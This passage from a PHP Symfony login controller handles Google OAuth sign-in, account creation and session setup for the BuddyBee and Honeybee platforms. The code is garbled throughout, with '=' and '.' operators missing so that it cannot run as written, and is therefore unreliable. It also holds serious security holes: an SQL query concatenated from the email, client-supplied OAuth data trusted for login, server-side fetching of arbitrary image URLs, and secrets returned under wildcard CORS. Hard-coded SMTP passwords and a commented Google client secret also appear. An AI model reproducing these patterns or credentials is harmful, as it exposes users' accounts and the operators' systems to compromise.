  6647.                     'lastName' => $applicantInfo['familyName'],
  6648.                     'type' => $token['token_type'],
  6649.                     'token' => $token['access_token'],
  6650.                 ];
  6651.             }
  6652.         } else if (isset($_GET["access_token"])) {
  6653.             $token $_GET["access_token"];
  6654.             $tokenType $_GET["token_type"];
  6655.             if (!isset($token['error'])) {
  6656.                 $google_client->setAccessToken($token);
  6657.                 $google_service = new Google_Service_Oauth2($google_client);
  6658.                 $applicantInfo $google_service->userinfo->get();
  6659.                 $oAuthEmail $applicantInfo['email'];
  6660.                 $oAuthData = [
  6661.                     'email' => $applicantInfo['email'],
  6662.                     'uniqueId' => $applicantInfo['id'],
  6663.                     'image' => $applicantInfo['picture'],
  6664.                     'emailVerified' => $applicantInfo['verifiedEmail'],
  6665.                     'name' => $applicantInfo['givenName'] . ' ' $applicantInfo['familyName'],
  6666.                     'firstName' => $applicantInfo['givenName'],
  6667.                     'lastName' => $applicantInfo['familyName'],
  6668.                     'type' => $tokenType,
  6669.                     'token' => $token,
  6670.                 ];
  6671.             }
  6672.         }
  6673.         if ($oAuthData['email'] != '' || $oAuthData['uniqueId'] != '') {
  6674.             $isApplicantExist $applicantRepo->findOneBy([
  6675.                 'email' => $oAuthData['email']
  6676.             ]);
  6677.             if (!$isApplicantExist && $oAuthData['uniqueId'] != '') {
  6678.                 $isApplicantExist $applicantRepo->findOneBy([
  6679.                     'oAuthUniqueId' => $oAuthData['uniqueId']
  6680.                 ]);
  6681.             }
  6682.             if (!$isApplicantExist) {
  6683.                 $usersQueried $em->getRepository(EntityApplicantDetails::class)->createQueryBuilder('A')
  6684.                     ->where("1=1 and (A.email like '%," $oAuthData['email'] . "' or A.email like '" $oAuthData['email'] . ",%'
  6685.                                      or A.email like '%," $oAuthData['email'] . ",%' or A.email like '" $oAuthData['email'] . "' ) ")
  6686.                     ->getQuery()
  6687.                     ->getResult();
  6688.                 if (!empty($usersQueried))
  6689.                     $isApplicantExist $usersQueried[0];
  6690.             }
  6691.             if ($isApplicantExist) {
  6692.                 if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == 1) {
  6693.                 } else
  6694.                     return $this->redirectToRoute("core_login", [
  6695.                         'id' => $isApplicantExist->getApplicantId(),
  6696.                         'oAuthData' => $oAuthData,
  6697.                         'encData' => $encData,
  6698.                         'locale' => $request->request->get('locale''en'),
  6699.                         'remoteVerify' => $request->request->get('remoteVerify'0),
  6700.                         'firebaseToken' => $request->request->get('firebaseToken'''),
  6701.                     ]);
  6702.             } else {
  6703.                 $fname $oAuthData['firstName'];
  6704.                 $lname $oAuthData['lastName'];
  6705.                 $img $oAuthData['image'];
  6706.                 $email $oAuthData['email'];
  6707.                 $oAuthEmail $oAuthData['email'];
  6708.                 $userName explode('@'$email)[0];
  6709.                 //now check if same username exists
  6710.                 $username_already_exist 1;
  6711.                 $initial_user_name $userName;
  6712.                 $timeoutSafeCount 10;//only 10 timeout for safety if this fails just add the unix timestamp to make it unique
  6713.                 while ($username_already_exist == && $timeoutSafeCount 0) {
  6714.                     $isUsernameExist $applicantRepo->findOneBy([
  6715.                         'username' => $userName
  6716.                     ]);
  6717.                     if ($isUsernameExist) {
  6718.                         $username_already_exist 1;
  6719.                         $userName $initial_user_name '' rand(3009987);
  6720.                     } else {
  6721.                         $username_already_exist 0;
  6722.                     }
  6723.                     $timeoutSafeCount--;
  6724.                 }
  6725.                 if ($timeoutSafeCount == && $username_already_exist == 1) {
  6726.                     $currentUnixTimeStamp '';
  6727.                     $currentUnixTime = new \DateTime();
  6728.                     $currentUnixTimeStamp $currentUnixTime->format('U');
  6729.                     $userName $userName '' $currentUnixTimeStamp;
  6730.                 }
  6731.                 $characters '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';
  6732.                 $charactersLength strlen($characters);
  6733.                 $length 8;
  6734.                 $password 0;
  6735.                 for ($i 0$i $length$i++) {
  6736.                     $password .= $characters[rand(0$charactersLength 1)];
  6737.                 }
  6738.                 $newApplicant = new EntityApplicantDetails();
  6739.                 $newApplicant->setActualRegistrationAt(new \DateTime());
  6740.                 $newApplicant->setEmail($email);
  6741.                 $newApplicant->setUserName($userName);
  6742.                 $newApplicant->setFirstname($fname);
  6743.                 $newApplicant->setLastname($lname);
  6744.                 $newApplicant->setOAuthEmail($oAuthEmail);
  6745.                 $newApplicant->setIsEmailVerified(isset($oAuthData['emailVerified']) ? ($oAuthData['emailVerified'] != '' 0) : 0);
  6746.                 $newApplicant->setOauthUniqueId($oAuthData['uniqueId']);
  6747.                 $newApplicant->setAccountStatus(1);
  6748.                 $salt uniqid(mt_rand());
  6749.                 $encodedPassword $this->container->get('sha256salted_encoder')->encodePassword($password$salt);
  6750.                 $newApplicant->setPassword($encodedPassword);
  6751.                 $newApplicant->setSalt($salt);
  6752.                 $newApplicant->setTempPassword($password);;
  6753. //                $newApplicant->setPassword($password);
  6754.                 $marker $userName '-' time();
  6755. //                $extension_here=$uploadedFile->guessExtension();
  6756. //                $fileName = md5(uniqid()) . '.' . $uploadedFile->guessExtension();
  6757. //                $path = $fileName;
  6758.                 $upl_dir $this->container->getParameter('kernel.root_dir') . '/../web/uploads/applicants';
  6759.                 if (!file_exists($upl_dir)) {
  6760.                     mkdir($upl_dir0777true);
  6761.                 }
  6762.                 $ch curl_init($img);
  6763.                 $fp fopen($upl_dir '/' $marker '.jiff''wb');
  6764.                 curl_setopt($chCURLOPT_FILE$fp);
  6765.                 curl_setopt($chCURLOPT_HEADER0);
  6766.                 curl_exec($ch);
  6767.                 curl_close($ch);
  6768.                 fclose($fp);
  6769.                 $newApplicant->setImage('/uploads/applicants/' $marker '.jiff');
  6770. //                $newApplicant->setImage($img);
  6771.                 $newApplicant->setIsConsultant(0);
  6772.                 $newApplicant->setIsTemporaryEntry(0);
  6773.                 $newApplicant->setApplyForConsultant(0);
  6774.                 $em->persist($newApplicant);
  6775.                 $em->flush();
  6776.                 $isApplicantExist $newApplicant;
  6777.                 if (GeneralConstant::EMAIL_ENABLED == 1) {
  6778.                     if ($systemType == '_BUDDYBEE_') {
  6779.                         $bodyHtml '';
  6780.                         $bodyTemplate 'ApplicationBundle:email/templates:buddybeeRegistrationComplete.html.twig';
  6781.                         $bodyData = array(
  6782.                             'name' => $newApplicant->getFirstname() . ' ' $newApplicant->getLastname(),
  6783.                             'email' => $userName,
  6784.                             'password' => $newApplicant->getPassword(),
  6785.                         );
  6786.                         $attachments = [];
  6787.                         $forwardToMailAddress $newApplicant->getOAuthEmail();
  6788. //                    $upl_dir = $this->container->getParameter('kernel.root_dir') . '/../web/uploads/temp/' . 'ledger' . '.pdf'
  6789.                         $new_mail $this->get('mail_module');
  6790.                         $new_mail->sendMyMail(array(
  6791.                             'senderHash' => '_CUSTOM_',
  6792.                             //                        'senderHash'=>'_CUSTOM_',
  6793.                             'forwardToMailAddress' => $forwardToMailAddress,
  6794.                             'subject' => 'Welcome to BuddyBee ',
  6795. //                        'fileName' => 'Order#' . str_pad($id, 8, '0', STR_PAD_LEFT) . '.pdf',
  6796.                             'attachments' => $attachments,
  6797.                             'toAddress' => $forwardToMailAddress,
  6798.                             'fromAddress' => 'registration@buddybee.eu',
  6799.                             'userName' => 'registration@buddybee.eu',
  6800.                             'password' => 'Y41dh8g0112',
  6801.                             'smtpServer' => 'smtp.hostinger.com',
  6802.                             'smtpPort' => 465,
  6803.                             'encryptionMethod' => 'ssl',
  6804. //                            'emailBody' => $bodyHtml,
  6805.                             'mailTemplate' => $bodyTemplate,
  6806.                             'templateData' => $bodyData,
  6807. //                        'embedCompanyImage' => 1,
  6808. //                        'companyId' => $companyId,
  6809. //                        'companyImagePath' => $company_data->getImage()
  6810.                         ));
  6811.                     } else {
  6812.                         $bodyHtml '';
  6813.                         $bodyTemplate 'ApplicationBundle:email/user:applicant_login.html.twig';
  6814.                         $bodyData = array(
  6815.                             'name' => $newApplicant->getFirstname() . ' ' $newApplicant->getLastname(),
  6816.                             'email' => 'APP-' $userName,
  6817.                             'password' => $newApplicant->getPassword(),
  6818.                         );
  6819.                         $attachments = [];
  6820.                         $forwardToMailAddress $newApplicant->getOAuthEmail();
  6821. //                    $upl_dir = $this->container->getParameter('kernel.root_dir') . '/../web/uploads/temp/' . 'ledger' . '.pdf'
  6822.                         $new_mail $this->get('mail_module');
  6823.                         $new_mail->sendMyMail(array(
  6824.                             'senderHash' => '_CUSTOM_',
  6825.                             //                        'senderHash'=>'_CUSTOM_',
  6826.                             'forwardToMailAddress' => $forwardToMailAddress,
  6827.                             'subject' => 'Applicant Registration on Honeybee',
  6828. //                        'fileName' => 'Order#' . str_pad($id, 8, '0', STR_PAD_LEFT) . '.pdf',
  6829.                             'attachments' => $attachments,
  6830.                             'toAddress' => $forwardToMailAddress,
  6831.                             'fromAddress' => 'accounts@ourhoneybee.eu',
  6832.                             'userName' => 'accounts@ourhoneybee.eu',
  6833.                             'password' => 'Honeybee@0112',
  6834.                             'smtpServer' => 'smtp.hostinger.com',
  6835.                             'smtpPort' => 465,
  6836.                             'encryptionMethod' => 'ssl',
  6837. //                            'emailBody' => $bodyHtml,
  6838.                             'mailTemplate' => $bodyTemplate,
  6839.                             'templateData' => $bodyData,
  6840. //                        'embedCompanyImage' => 1,
  6841. //                        'companyId' => $companyId,
  6842. //                        'companyImagePath' => $company_data->getImage()
  6843.                         ));
  6844.                     }
  6845.                 }
  6846.                 if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == 1) {
  6847.                 } else {
  6848.                     return $this->redirectToRoute("core_login", [
  6849.                         'id' => $newApplicant->getApplicantId(),
  6850.                         'oAuthData' => $oAuthData,
  6851.                         'encData' => $encData,
  6852.                         'remoteVerify' => $request->request->get('remoteVerify'0),
  6853.                         'locale' => $request->request->get('locale''en'),
  6854.                         'firebaseToken' => $request->request->get('firebaseToken'''),
  6855.                     ]);
  6856.                 }
  6857.             }
  6858.         }
  6859.         if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == 1) {
  6860.             if ($isApplicantExist) {
  6861.                 $user $isApplicantExist;
  6862.                 $userType UserConstants::USER_TYPE_APPLICANT;
  6863.                 $userTypesByAppIds json_decode($user->getUserTypesByAppIds(), true);
  6864.                 $globalId $user->getApplicantId();
  6865.                 $gocList $em
  6866.                     ->getRepository("CompanyGroupBundle\\Entity\\CompanyGroup")
  6867.                     ->findBy(
  6868.                         array(//                        'active' => 1
  6869.                         )
  6870.                     );
  6871.                 $gocDataList = [];
  6872.                 $gocDataListForLoginWeb = [];
  6873.                 $gocDataListByAppId = [];
  6874.                 foreach ($gocList as $entry) {
  6875.                     $d = array(
  6876.                         'name' => $entry->getName(),
  6877.                         'image' => $entry->getImage(),
  6878.                         'id' => $entry->getId(),
  6879.                         'appId' => $entry->getAppId(),
  6880.                         'skipInWebFlag' => $entry->getSkipInWebFlag(),
  6881.                         'skipInAppFlag' => $entry->getSkipInAppFlag(),
  6882.                         'dbName' => $entry->getDbName(),
  6883.                         'dbUser' => $entry->getDbUser(),
  6884.                         'dbPass' => $entry->getDbPass(),
  6885.                         'dbHost' => $entry->getDbHost(),
  6886.                         'companyGroupServerAddress' => $entry->getCompanyGroupServerAddress(),
  6887.                         'companyGroupServerId' => $entry->getCompanyGroupServerId(),
  6888.                         'companyGroupServerPort' => $entry->getCompanyGroupServerPort(),
  6889.                         'companyRemaining' => $entry->getCompanyRemaining(),
  6890.                         'companyAllowed' => $entry->getCompanyAllowed(),
  6891.                     );
  6892.                     $gocDataList[$entry->getId()] = $d;
  6893.                     if (in_array($entry->getSkipInWebFlag(), [0null]))
  6894.                         $gocDataListForLoginWeb[$entry->getId()] = $d;
  6895.                     $gocDataListByAppId[$entry->getAppId()] = $d;
  6896.                 }
  6897.                 if ($userTypesByAppIds == null$userTypesByAppIds = [];
  6898.                 if ($userType == UserConstants::USER_TYPE_APPLICANT) {
  6899.                     $session->set(UserConstants::USER_ID$user->getApplicantId());
  6900.                     $session->set(UserConstants::LAST_SETTINGS_UPDATED_TSstrval($user->getLastSettingsUpdatedTs()));
  6901.                     $session->set(UserConstants::IS_CONSULTANT$user->getIsConsultant() == 0);
  6902.                     $session->set('BUDDYBEE_BALANCE'$user->getAccountBalance());
  6903.                     $session->set('BUDDYBEE_COIN_BALANCE'$user->getSessionCountBalance());
  6904.                     $session->set(UserConstants::IS_BUDDYBEE_RETAILER$user->getIsRetailer() == 0);
  6905.                     $session->set(UserConstants::BUDDYBEE_RETAILER_LEVEL$user->getRetailerLevel() == 0);
  6906.                     $session->set(UserConstants::BUDDYBEE_ADMIN_LEVEL$user->getIsAdmin() == : ($user->getIsModerator() == 0));
  6907.                     $session->set(UserConstants::IS_BUDDYBEE_MODERATOR$user->getIsModerator() == 0);
  6908.                     $session->set(UserConstants::IS_BUDDYBEE_ADMIN$user->getIsAdmin() == 0);
  6909.                     // $session->set(UserConstants::SUPPLIER_ID, $user->getSupplierId());
  6910.                     $session->set(UserConstants::USER_TYPEUserConstants::USER_TYPE_APPLICANT);
  6911.                     $session->set(UserConstants::USER_EMAIL$user->getOauthEmail());
  6912.                     $session->set(UserConstants::USER_IMAGE$user->getImage());
  6913.                     $session->set(UserConstants::USER_NAME$user->getFirstName() . ' ' $user->getLastName());
  6914.                     $session->set(UserConstants::USER_DEFAULT_ROUTE'');
  6915.                     $session->set(UserConstants::USER_COMPANY_ID1);
  6916.                     $session->set(UserConstants::USER_COMPANY_ID_LISTjson_encode([]));
  6917.                     $session->set(UserConstants::USER_COMPANY_NAME_LISTjson_encode([]));
  6918.                     $session->set(UserConstants::USER_COMPANY_IMAGE_LISTjson_encode([]));
  6919.                     $session->set('userCompanyDarkVibrantList'json_encode([]));
  6920.                     $session->set('userCompanyVibrantList'json_encode([]));
  6921.                     $session->set('userCompanyLightVibrantList'json_encode([]));
  6922.                     $session->set(UserConstants::USER_COMPANY_IMAGE_LISTjson_encode([]));
  6923.                     $session->set(UserConstants::USER_APP_ID0);
  6924.                     $session->set(UserConstants::USER_POSITION_LIST'[]');
  6925.                     $session->set(UserConstants::ALL_MODULE_ACCESS_FLAG0);
  6926.                     $session->set(UserConstants::SESSION_SALTuniqid(mt_rand()));
  6927.                     $session->set(UserConstants::APPLICATION_SECRET$this->container->getParameter('secret'));
  6928.                     $session->set(UserConstants::USER_GOC_ID0);
  6929.                     $session->set(UserConstants::USER_DB_NAME'');
  6930.                     $session->set(UserConstants::USER_DB_USER'');
  6931.                     $session->set(UserConstants::USER_DB_PASS'');
  6932.                     $session->set(UserConstants::USER_DB_HOST'');
  6933.                     $session->set(UserConstants::PRODUCT_NAME_DISPLAY_TYPE'');
  6934.                     $session->set(UserConstants::USER_NOTIFICATION_ENABLEDGeneralConstant::NOTIFICATION_ENABLED == ? ($this->getParameter('notification_enabled') == 0) : 0);
  6935.                     $session->set(UserConstants::USER_NOTIFICATION_SERVER$this->getParameter('notification_server'));
  6936.                     $session->set('oAuthToken'$request->request->get('oAuthToken'''));
  6937.                     $session->set('locale'$request->request->get('locale'''));
  6938.                     $session->set('firebaseToken'$request->request->get('firebaseToken'''));
  6939.                     $route_list_array = [];
  6940.                     $session->set(UserConstants::USER_CURRENT_POSITION0);
  6941.                     $loginID 0;
  6942.                     $loginID MiscActions::addEntityUserLoginLog(
  6943.                         $em,
  6944.                         $session->get(UserConstants::USER_ID),
  6945.                         $session->get(UserConstants::USER_ID),
  6946.                         1,
  6947.                         $request->server->get("REMOTE_ADDR"),
  6948.                         0,
  6949.                         $request->request->get('deviceId'''),
  6950.                         $request->request->get('oAuthToken'''),
  6951.                         $request->request->get('oAuthType'''),
  6952.                         $request->request->get('locale'''),
  6953.                         $request->request->get('firebaseToken''')
  6954.                     );
  6955.                     $session->set(UserConstants::USER_LOGIN_ID$loginID);
  6956.                     $session_data = array(
  6957.                         UserConstants::USER_ID => $session->get(UserConstants::USER_ID),
  6958.                         UserConstants::LAST_SETTINGS_UPDATED_TS => $session->get(UserConstants::LAST_SETTINGS_UPDATED_TS),
  6959.                         UserConstants::USER_EMPLOYEE_ID => $session->get(UserConstants::USER_EMPLOYEE_ID),
  6960.                         'oAuthToken' => $session->get('oAuthToken'),
  6961.                         'locale' => $session->get('locale'),
  6962.                         'firebaseToken' => $session->get('firebaseToken'),
  6963.                         'token' => $session->get('token'),
  6964.                         'firstLogin' => 0,
  6965.                         'BUDDYBEE_BALANCE' => $session->get('BUDDYBEE_BALANCE'),
  6966.                         'BUDDYBEE_COIN_BALANCE' => $session->get('BUDDYBEE_COIN_BALANCE'),
  6967.                         UserConstants::IS_BUDDYBEE_RETAILER => $session->get(UserConstants::IS_BUDDYBEE_RETAILER),
  6968.                         UserConstants::BUDDYBEE_RETAILER_LEVEL => $session->get(UserConstants::BUDDYBEE_RETAILER_LEVEL),
  6969.                         UserConstants::BUDDYBEE_ADMIN_LEVEL => $session->get(UserConstants::BUDDYBEE_ADMIN_LEVEL),
  6970.                         UserConstants::IS_BUDDYBEE_MODERATOR => $session->get(UserConstants::IS_BUDDYBEE_MODERATOR),
  6971.                         UserConstants::IS_BUDDYBEE_ADMIN => $session->get(UserConstants::IS_BUDDYBEE_ADMIN),
  6972.                         UserConstants::USER_LOGIN_ID => $session->get(UserConstants::USER_LOGIN_ID),
  6973.                         UserConstants::USER_EMAIL => $session->get(UserConstants::USER_EMAIL),
  6974.                         UserConstants::USER_TYPE => $session->get(UserConstants::USER_TYPE),
  6975.                         UserConstants::USER_IMAGE => $session->get(UserConstants::USER_IMAGE),
  6976.                         'oAuthImage' => $session->get('oAuthImage'),
  6977.                         UserConstants::USER_DEFAULT_ROUTE => $session->get(UserConstants::USER_DEFAULT_ROUTE),
  6978.                         UserConstants::USER_NAME => $session->get(UserConstants::USER_NAME),
  6979.                         UserConstants::USER_COMPANY_ID => $session->get(UserConstants::USER_COMPANY_ID),
  6980.                         UserConstants::USER_COMPANY_ID_LIST => $session->get(UserConstants::USER_COMPANY_ID_LIST),
  6981.                         UserConstants::USER_COMPANY_NAME_LIST => $session->get(UserConstants::USER_COMPANY_NAME_LIST),
  6982.                         UserConstants::USER_COMPANY_IMAGE_LIST => $session->get(UserConstants::USER_COMPANY_IMAGE_LIST),
  6983.                         UserConstants::USER_APP_ID => $session->get(UserConstants::USER_APP_ID),
  6984.                         UserConstants::USER_CURRENT_POSITION => $session->get(UserConstants::USER_CURRENT_POSITION),
  6985.                         UserConstants::SESSION_SALT => $session->get(UserConstants::SESSION_SALT),
  6986.                         UserConstants::APPLICATION_SECRET => $session->get(UserConstants::APPLICATION_SECRET),
  6987.                         UserConstants::USER_POSITION_LIST => $session->get(UserConstants::USER_POSITION_LIST),
  6988.                         'userCompanyDarkVibrantList' => $session->get('userCompanyDarkVibrantList', []),
  6989.                         'userCompanyVibrantList' => $session->get('userCompanyVibrantList', []),
  6990.                         'userCompanyLightVibrantList' => $session->get('userCompanyLightVibrantList', []),
  6991.                         UserConstants::ALL_MODULE_ACCESS_FLAG => $session->get(UserConstants::ALL_MODULE_ACCESS_FLAG),
  6992.                         UserConstants::USER_GOC_ID => $session->get(UserConstants::USER_GOC_ID),
  6993.                         UserConstants::USER_DB_NAME => $session->get(UserConstants::USER_DB_NAME),
  6994.                         UserConstants::USER_DB_USER => $session->get(UserConstants::USER_DB_USER),
  6995.                         UserConstants::USER_DB_HOST => $session->get(UserConstants::USER_DB_HOST),
  6996.                         UserConstants::USER_DB_PASS => $session->get(UserConstants::USER_DB_PASS),
  6997.                         UserConstants::PRODUCT_NAME_DISPLAY_TYPE => $session->get(UserConstants::PRODUCT_NAME_DISPLAY_TYPE),
  6998.                         UserConstants::USER_NOTIFICATION_ENABLED => GeneralConstant::NOTIFICATION_ENABLED == ? ($this->getParameter('notification_enabled') == 0) : 0,
  6999.                         UserConstants::USER_NOTIFICATION_SERVER => $this->getParameter('notification_server'),
  7000.                         //new
  7001.                         'appIdList' => $session->get('appIdList'),
  7002.                         'branchIdList' => $session->get('branchIdList'null),
  7003.                         'branchId' => $session->get('branchId'null),
  7004.                         'companyIdListByAppId' => $session->get('companyIdListByAppId'),
  7005.                         'companyNameListByAppId' => $session->get('companyNameListByAppId'),
  7006.                         'companyImageListByAppId' => $session->get('companyImageListByAppId'),
  7007.                     );
  7008.                     $accessList = [];
  7009. //                        System::log_it($this->container->getParameter('kernel.root_dir'),json_encode($gocDataListByAppId),'data_list_by_app_id');
  7010.                     foreach ($userTypesByAppIds as $thisUserAppId => $thisUserUserTypes) {
  7011.                         foreach ($thisUserUserTypes as $thisUserUserType) {
  7012.                             if (isset($gocDataListByAppId[$thisUserAppId])) {
  7013.                                 $userTypeName = isset(UserConstants::$userTypeName[$thisUserUserType]) ? UserConstants::$userTypeName[$thisUserUserType] : 'Unknown';
  7014.                                 $d = array(
  7015.                                     'userType' => $thisUserUserType,
  7016. //                                        'userTypeName' => UserConstants::$userTypeName[$thisUserUserType],
  7017.                                     'userTypeName' => $userTypeName,
  7018.                                     'globalId' => $globalId,
  7019.                                     'serverId' => $gocDataListByAppId[$thisUserAppId]['companyGroupServerId'],
  7020.                                     'serverUrl' => $gocDataListByAppId[$thisUserAppId]['companyGroupServerAddress'],
  7021.                                     'serverPort' => $gocDataListByAppId[$thisUserAppId]['companyGroupServerPort'],
  7022.                                     'systemType' => '_ERP_',
  7023.                                     'companyId' => 1,
  7024.                                     'appId' => $thisUserAppId,
  7025.                                     'companyLogoUrl' => $gocDataListByAppId[$thisUserAppId]['image'],
  7026.                                     'companyName' => $gocDataListByAppId[$thisUserAppId]['name'],
  7027.                                     'authenticationStr' => $this->get('url_encryptor')->encrypt(json_encode(
  7028.                                             array(
  7029.                                                 'globalId' => $globalId,
  7030.                                                 'appId' => $thisUserAppId,
  7031.                                                 'authenticate' => 1,
  7032.                                                 'userType' => $thisUserUserType,
  7033.                                                 'userTypeName' => $userTypeName
  7034.                                             )
  7035.                                         )
  7036.                                     ),
  7037.                                     'userCompanyList' => [
  7038.                                     ]
  7039.                                 );
  7040.                                 $accessList[] = $d;
  7041.                             }
  7042.                         }
  7043.                     }
  7044.                     $session_data['userAccessList'] = $accessList;
  7045.                     $session->set('userAccessList'json_encode($accessList));
  7046.                     $session_data $this->filterClientSessionData($session_data);
  7047.                     $tokenData MiscActions::CreateTokenFromSessionData($em$session_data);
  7048.                     $session_data $tokenData['sessionData'];
  7049.                     $token $tokenData['token'];
  7050.                     $session->set('token'$token);
  7051.                     if ($request->request->get('remoteVerify'0) == || $request->query->get('remoteVerify'0) == 1) {
  7052.                         $session->set('remoteVerified'1);
  7053.                         $response = new JsonResponse(array(
  7054.                             'token' => $token,
  7055.                             'uid' => $session->get(UserConstants::USER_ID),
  7056.                             'session' => $session,
  7057.                             'success' => true,
  7058.                             'session_data' => $session_data,
  7059.                         ));
  7060.                         $response->headers->set('Access-Control-Allow-Origin''*');
  7061.                         return $response;
  7062.                     }
  7063.                     if ($request->request->has('referer_path')) {
  7064.                         if ($request->request->get('referer_path') != '/' && $request->request->get('referer_path') != '') {
  7065.                             return $this->redirect($request->request->get('referer_path'));
  7066.                         }
  7067.                     }
  7068.                     $redirectRoute 'applicant_dashboard';
  7069.                     if ($request->query->has('encData')) {
  7070.                         if ($request->query->get('encData') == '8917922')
  7071.                             $redirectRoute 'apply_for_consultant';
  7072.                     }
  7073.                     return $this->redirectToRoute($redirectRoute);
  7074.                 }
  7075. //                    $response = new JsonResponse(array(
  7076. //                        'token' => $token,
  7077. //                        'uid' => $session->get(UserConstants::USER_ID),
  7078. //                        'session' => $session,
  7079. //
  7080. //                        'success' => true,
  7081. //                        'session_data' => $session_data,
  7082. //
  7083. //                    ));
  7084. //                    $response->headers->set('Access-Control-Allow-Origin', '*');
  7085. //                    return $response;
  7086. //                    return $this->redirectToRoute("user_login", [
  7087. //                        'id' => $isApplicantExist->getApplicantId(),
  7088. //                        'oAuthData' => $oAuthData,
  7089. //                        'encData' => $encData,
  7090. //                        'locale' => $request->request->get('locale', 'en'),
  7091. //                        'remoteVerify' => $request->request->get('remoteVerify', 0),
  7092. //                        'firebaseToken' => $request->request->get('firebaseToken', ''),
  7093. //                    ]);
  7094.             }
  7095.         }
  7096.         $selector BuddybeeConstant::$selector;
  7097.         $systemType $this->container->hasParameter('system_type') ? $this->container->getParameter('system_type') : '_ERP_';
  7098.         $twig_file '@Authentication/pages/views/applicant_login.html.twig';
  7099.         if ($systemType == '_ERP_') {
  7100.         } else if ($systemType == '_CENTRAL_') {
  7101.             return $this->render(
  7102.                 '@Authentication/pages/views/central_login.html.twig',
  7103.                 [
  7104.                     'page_title' => 'Central Login',
  7105.                     'oAuthLink' => $google_client->createAuthUrl(),
  7106.                     'redirect_url' => $url,
  7107.                     'message' => $message,
  7108.                     'systemType' => $systemType,
  7109.                     'ownServerId' => $ownServerId,
  7110.                     'errorField' => '',
  7111.                     'encData' => $encData,
  7112.                     'state' => 'DCEeFWf45A53sdfKeSS424',
  7113.                     'selector' => $selector,
  7114.                 ]
  7115.             );
  7116.         } else if ($systemType == '_BUDDYBEE_') {
  7117.             return $this->render(
  7118.                 '@Authentication/pages/views/applicant_login.html.twig',
  7119.                 [
  7120.                     'page_title' => 'BuddyBee Login',
  7121.                     'oAuthLink' => $google_client->createAuthUrl(),
  7122.                     'redirect_url' => $url,
  7123.                     'message' => $message,
  7124.                     'errorField' => $errorField,
  7125.                     'encData' => $encData,
  7126.                     'state' => 'DCEeFWf45A53sdfKeSS424',
  7127.                     'selector' => $selector
  7128.                 ]
  7129.             );
  7130.         }
  7131.         return $this->render(
  7132.             '@Authentication/pages/views/applicant_login.html.twig',
  7133.             [
  7134.                 'page_title' => 'Applicant Registration',
  7135.                 'oAuthLink' => $google_client->createAuthUrl(),
  7136.                 'redirect_url' => $url,
  7137.                 'encData' => $encData,
  7138.                 'message' => $message,
  7139.                 'errorField' => $errorField,
  7140.                 'state' => 'DCEeFWf45A53sdfKeSS424',
  7141.                 'selector' => $selector
  7142.             ]
  7143.         );
  7144.     }
  7145.     public function sophiaLoginAction(Request $request$encData ''$remoteVerify 0)
  7146.     {
  7147.         $session $request->getSession();
  7148.         $email $request->getSession()->get('userEmail');
  7149.         $sessionUserId $request->getSession()->get('userId');
  7150.         $oAuthData = [];
  7151. //    $encData='';
  7152.         $em $this->getDoctrine()->getManager('company_group');
  7153.         $applicantRepo $em->getRepository(EntityApplicantDetails::class);
  7154.         $redirectRoute 'dashboard';
  7155.         if ($encData != '') {
  7156.             if ($encData == '8917922')
  7157.                 $redirectRoute 'apply_for_consultant';
  7158.         }
  7159.         if ($request->query->has('encData')) {
  7160.             $encData $request->query->get('encData');
  7161.             if ($encData == '8917922')
  7162.                 $redirectRoute 'apply_for_consultant';
  7163.         }
  7164.         $message '';
  7165.         $errorField '_NONE_';
  7166.         if ($request->query->has('message')) {
  7167.             $message $request->query->get('message');
  7168.         }
  7169.         if ($request->query->has('errorField')) {
  7170.             $errorField $request->query->get('errorField');
  7171.         }
  7172.         if ($request->request->has('oAuthData')) {
  7173.             $oAuthData $request->request->get('oAuthData', []);
  7174.         } else {
  7175.             $oAuthData = [
  7176.                 'email' => $request->request->get('email'''),
  7177.                 'uniqueId' => $request->request->get('uniqueId'''),
  7178.                 'oAuthHash' => '_NONE_',
  7179.                 'image' => $request->request->get('image'''),
  7180.                 'emailVerified' => $request->request->get('emailVerified'''),
  7181.                 'name' => $request->request->get('name'''),
  7182.                 'firstName' => $request->request->get('firstName'''),
  7183.                 'lastName' => $request->request->get('lastName'''),
  7184.                 'type' => 1,
  7185.                 'token' => $request->request->get('oAuthtoken'''),
  7186.             ];
  7187.         }
  7188.         $isApplicantExist null;
  7189.         if ($email) {
  7190.             if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == 1) {
  7191.                 $isApplicantExist $applicantRepo->findOneBy([
  7192.                     'applicantId' => $sessionUserId
  7193.                 ]);
  7194.             } else
  7195.                 return $this->redirectToRoute($redirectRoute);
  7196.         }
  7197.         $google_client = new Google_Client();
  7198. //        $google_client->setClientId('916737688016-l2qfmb9p37cumudkaqpu8s7ndngq9una.apps.googleusercontent.com');
  7199. //        $google_client->setClientSecret('BEWpEBRvv3-hSoB4cGBrVB3z');
  7200.         if (version_compare(PHP_VERSION'5.4.0''>=') && !(defined('JSON_C_VERSION') && PHP_INT_SIZE 4)) {
  7201.             $url $this->generateUrl('user_login', ['encData' => $encData], UrlGenerator::ABSOLUTE_URL);
  7202.         } else {
  7203.             $url $this->generateUrl(
  7204.                 'user_login', ['encData' => $encData], UrlGenerator::ABSOLUTE_URL
  7205.             );
  7206.         }
  7207.         $selector BuddybeeConstant::$selector;
  7208.         $systemType $this->container->hasParameter('system_type') ? $this->container->getParameter('system_type') : '_ERP_';
  7209.         $ownServerId $this->container->hasParameter('server_id') ? $this->container->getParameter('server_id') : '_NONE_';
  7210. //        $this->container->getParameter('kernel.root_dir') . '/../src/ApplicationBundle/Resources/config/client_secret.json';
  7211. //        $google_client->setAuthConfig($this->container->getParameter('kernel.root_dir') . '/../src/ApplicationBundle/Resources/config/client_secret.json');
  7212.         $google_client->setAuthConfig($this->container->getParameter('kernel.root_dir') . '/../src/ApplicationBundle/Resources/config/central_config.json');
  7213. //        $google_client->addScope(Google_Service\Drive::DRIVE_METADATA_READONLY);
  7214.         $google_client->setRedirectUri($url);
  7215.         $google_client->setAccessType('offline');        // offline access
  7216.         $google_client->setIncludeGrantedScopes(true);   // incremental auth
  7217.         $google_client->addScope('email');
  7218.         $google_client->addScope('profile');
  7219.         $google_client->addScope('openid');
  7220. //    $google_client->setRedirectUri('http://localhost/applicant_login');
  7221.         //linked in 1st
  7222.         if (isset($_GET["code"]) && isset($_GET["state"])) {
  7223.             $curl curl_init();
